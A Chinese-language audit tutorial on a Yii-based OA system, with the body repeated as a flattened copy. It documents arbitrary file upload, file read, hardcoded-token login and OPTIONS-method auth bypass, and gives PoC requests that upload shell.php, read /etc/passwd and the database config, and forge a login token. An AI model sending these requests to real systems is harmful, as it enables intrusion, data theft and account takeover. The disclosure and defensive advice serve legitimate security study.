记一次项目中遇到的YII框架审计
字数 2059 2025-08-19 12:42:20

YII框架安全审计实战教学文档

一、YII框架基础认知

1.1 框架结构分析

  • 入口文件/web/index.php 是YII框架的主要入口
  • 模块化管理:系统以system作为根目录进行模块化管理
  • 路由结构:采用模块名/控制器/操作的形式,例如/oa/main/login

1.2 路由解析机制

  • 典型路由格式:/模块名/控制器/操作
  • 示例解析:
    • /oa/main/loginsystem/modules/oa/controllers/MainController.php中的login方法
    • 控制器文件路径:system/modules/[模块名]/controllers/[控制器名]Controller.php

二、漏洞审计实战

2.1 任意文件上传漏洞

漏洞1:注释扩展名限制导致的上传

  • 漏洞文件system/modules/main/extend/SaveUpload.php
  • 漏洞成因
    • 开发者注释掉了扩展后缀的限制代码
    • saveAs方法未进行有效过滤
  • 利用条件
    • 找到调用SaveUpload::saveFile()的控制器
    • 未授权访问或权限绕过

漏洞2:静态目录下的上传漏洞

  • 漏洞文件web/static/lib/weboffice/js/OfficeServer.php
  • 漏洞特征
    • 直接位于静态资源目录,可被直接访问
    • 通过JSON参数控制操作类型
  • 利用方式
    // 上传利用
    POST /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"SAVEFILE","FILEPATH":"/shell.php"}
    
    // 文件下载利用
    GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"/etc/passwd"}
    

实际可利用的未授权上传接口

  1. contacts/default/upload
  2. salary/record/upload
  3. knowledge/default/upload

2.2 任意文件下载漏洞

  • 同漏洞文件OfficeServer.php
  • 利用方式
    • 设置OPTIONLOADFILE
    • 通过FILEPATH参数指定目标文件路径
  • 示例
    GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"../../config/db.php"} HTTP/1.1
    

2.3 硬编码导致的任意用户登录

  • 漏洞文件system/modules/oa/controllers/AuthController.php
  • 漏洞机制
    • 存在硬编码的认证逻辑
    • 用户凭证通过base64编码传输
    • 使用固定密钥生成token
  • 利用步骤
    1. 获取存在的用户名(如zhangsan
    2. Base64编码用户名:emhhbmdzYW4=
    3. 计算token:md5("emhhbmdzYW4=" . "固定密钥")
    4. 构造请求:
      GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
      

2.4 权限绕过漏洞

  • 漏洞文件api/modules/v1/controllers/UserController.php
  • 关键代码
    public $notAuthAction = ['auth', 'verify-url'];
    
  • 绕过原理
    1. 框架的behaviors方法优先执行
    2. 当请求方法为OPTIONS或接口在notAuthAction列表中时,跳过认证
    3. 利用OPTIONS方法绕过权限检查
  • 利用方式
    • 对需要认证的接口使用OPTIONS方法请求
    • 示例:
      OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
      

三、审计方法论总结

3.1 关键审计点

  1. 文件上传功能

    • 全局搜索move_uploaded_file
    • 检查文件类型过滤逻辑
    • 验证保存路径是否可控
  2. 权限控制

    • 检查notAuthAction等白名单配置
    • 验证认证逻辑是否可绕过
    • 查找硬编码凭证
  3. 路由解析

    • 理解框架路由机制
    • 识别非常规路由格式(如含-的路由)

3.2 高效审计技巧

  1. 开发文档利用

    • 查找系统开发文档了解架构
    • 分析文档中暴露的接口和路由信息
  2. 全局搜索策略

    • 搜索关键函数:move_uploaded_filefile_get_contents
    • 搜索敏感关键词:notAuthtokensecret
  3. 静态资源审计

    • 检查staticpublic等目录下的PHP文件
    • 验证这些文件是否可直接访问

3.3 YII框架特有注意事项

  1. 路由格式多样性

    • 标准格式:模块/控制器/操作
    • 可能存在的变体:模块-控制器/操作
  2. 行为方法优先级

    • behaviors()方法通常优先执行
    • 权限检查可能在此方法中实现
  3. 配置覆盖风险

    • 检查被注释的配置项
    • 验证默认配置是否被不安全覆盖

四、防御建议

4.1 开发层面

  1. 文件上传

    • 严格限制上传文件类型
    • 使用白名单而非黑名单
    • 文件重命名存储
  2. 认证授权

    • 避免硬编码凭证
    • 使用框架提供的标准认证组件
    • 敏感接口强制二次验证
  3. 路由安全

    • 统一路由格式
    • 禁用不必要的HTTP方法
    • 实施严格的权限控制

4.2 运维层面

  1. 目录权限

    • 限制静态目录的PHP执行权限
    • 上传目录设置为不可执行
  2. 代码保护

    • 移除开发文档和测试接口
    • 禁用PHP错误回显
  3. 监控审计

    • 监控异常文件操作
    • 记录敏感操作日志

五、附录:漏洞利用PoC

5.1 任意文件上传

POST /index.php/salary/record/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345

------WebKitFormBoundary12345
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundary12345--

5.2 权限绕过

OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
Host: target.com

5.3 任意用户登录

GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
Host: target.com

通过本教学文档,安全研究人员可以全面了解YII框架的安全审计方法,掌握常见漏洞的发现和利用技巧,同时也能为开发人员提供有效的安全防护建议。

YII框架安全审计实战教学文档 一、YII框架基础认知 1.1 框架结构分析 入口文件 : /web/index.php 是YII框架的主要入口 模块化管理 :系统以 system 作为根目录进行模块化管理 路由结构 :采用 模块名/控制器/操作 的形式,例如 /oa/main/login 1.2 路由解析机制 典型路由格式: /模块名/控制器/操作 示例解析: /oa/main/login → system/modules/oa/controllers/MainController.php 中的 login 方法 控制器文件路径: system/modules/[模块名]/controllers/[控制器名]Controller.php 二、漏洞审计实战 2.1 任意文件上传漏洞 漏洞1:注释扩展名限制导致的上传 漏洞文件 : system/modules/main/extend/SaveUpload.php 漏洞成因 : 开发者注释掉了扩展后缀的限制代码 saveAs 方法未进行有效过滤 利用条件 : 找到调用 SaveUpload::saveFile() 的控制器 未授权访问或权限绕过 漏洞2:静态目录下的上传漏洞 漏洞文件 : web/static/lib/weboffice/js/OfficeServer.php 漏洞特征 : 直接位于静态资源目录,可被直接访问 通过JSON参数控制操作类型 利用方式 : 实际可利用的未授权上传接口 contacts/default/upload salary/record/upload knowledge/default/upload 2.2 任意文件下载漏洞 同漏洞文件 : OfficeServer.php 利用方式 : 设置 OPTION 为 LOADFILE 通过 FILEPATH 参数指定目标文件路径 示例 : 2.3 硬编码导致的任意用户登录 漏洞文件 : system/modules/oa/controllers/AuthController.php 漏洞机制 : 存在硬编码的认证逻辑 用户凭证通过base64编码传输 使用固定密钥生成token 利用步骤 : 获取存在的用户名(如 zhangsan ) Base64编码用户名: emhhbmdzYW4= 计算token: md5("emhhbmdzYW4=" . "固定密钥") 构造请求: 2.4 权限绕过漏洞 漏洞文件 : api/modules/v1/controllers/UserController.php 关键代码 : 绕过原理 : 框架的 behaviors 方法优先执行 当请求方法为 OPTIONS 或接口在 notAuthAction 列表中时,跳过认证 利用 OPTIONS 方法绕过权限检查 利用方式 : 对需要认证的接口使用 OPTIONS 方法请求 示例: 三、审计方法论总结 3.1 关键审计点 文件上传功能 : 全局搜索 move_uploaded_file 检查文件类型过滤逻辑 验证保存路径是否可控 权限控制 : 检查 notAuthAction 等白名单配置 验证认证逻辑是否可绕过 查找硬编码凭证 路由解析 : 理解框架路由机制 识别非常规路由格式(如含 - 的路由) 3.2 高效审计技巧 开发文档利用 : 查找系统开发文档了解架构 分析文档中暴露的接口和路由信息 全局搜索策略 : 搜索关键函数: move_uploaded_file 、 file_get_contents 等 搜索敏感关键词: notAuth 、 token 、 secret 等 静态资源审计 : 检查 static 、 public 等目录下的PHP文件 验证这些文件是否可直接访问 3.3 YII框架特有注意事项 路由格式多样性 : 标准格式: 模块/控制器/操作 可能存在的变体: 模块-控制器/操作 等 行为方法优先级 : behaviors() 方法通常优先执行 权限检查可能在此方法中实现 配置覆盖风险 : 检查被注释的配置项 验证默认配置是否被不安全覆盖 四、防御建议 4.1 开发层面 文件上传 : 严格限制上传文件类型 使用白名单而非黑名单 文件重命名存储 认证授权 : 避免硬编码凭证 使用框架提供的标准认证组件 敏感接口强制二次验证 路由安全 : 统一路由格式 禁用不必要的HTTP方法 实施严格的权限控制 4.2 运维层面 目录权限 : 限制静态目录的PHP执行权限 上传目录设置为不可执行 代码保护 : 移除开发文档和测试接口 禁用PHP错误回显 监控审计 : 监控异常文件操作 记录敏感操作日志 五、附录:漏洞利用PoC 5.1 任意文件上传 5.2 权限绕过 5.3 任意用户登录 通过本教学文档,安全研究人员可以全面了解YII框架的安全审计方法,掌握常见漏洞的发现和利用技巧,同时也能为开发人员提供有效的安全防护建议。